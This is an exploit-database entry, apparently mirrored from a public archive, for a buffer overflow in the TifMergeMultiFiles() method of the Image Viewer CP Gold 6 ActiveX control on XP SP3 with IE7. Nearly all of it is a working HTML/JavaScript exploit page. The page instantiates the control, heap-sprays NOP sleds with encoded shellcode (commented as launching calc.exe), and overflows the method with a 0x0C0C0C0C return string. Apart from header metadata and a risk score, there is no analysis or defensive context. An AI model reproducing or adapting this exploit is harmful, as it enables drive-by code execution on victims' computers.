Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow exploit for XP SP3 IE


                                                &#60;html&#62;
&#60;!--
Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://www.viscom.com
Greets: 	bz1p, [email protected] for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
--&#62;
&#60;object CLASSID=&#34;clsid:5220cb21-c88d-11cf-b347-00aa00a28331&#34; width=&#34;14&#34; height=&#34;14&#34;&#62;
&#60;param NAME=&#34;LPKPath&#34; VALUE=&#34;imageviewer.lpk&#34;&#62;&#60;/object&#62;
&#60;object classid=&#34;clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E&#34; id=&#39;target&#39;&#62;&#60;/object&#62;
&#60;script&#62;
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
&#39;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#39;+
&#39;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#39;+
&#39;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#39;+
&#39;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#39;+
&#39;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#39;+
&#39;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#39;+
&#39;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#39;+
&#39;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#39;);

nops=unescape(&#39;%u9090%u9090&#39;);
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length &#60; slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace&#60;0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter&#60;200; counter++) memory[counter]= block + shellcode;
ret=&#39;&#39;;
for( counter=0; counter&#60;=1000; counter++) ret+=unescape(&#34;%0C%0C%0C%0C&#34;);

arg2=String(&#34;abcd&#34;);

target.TIFMergeMultiFiles(arg2, arg2, ret);
&#60;/script&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1

image viewer cp gold tifmergemultifiles buffer overflow xp sp3 ie7 activex exploit dr_ide vulnerability viscom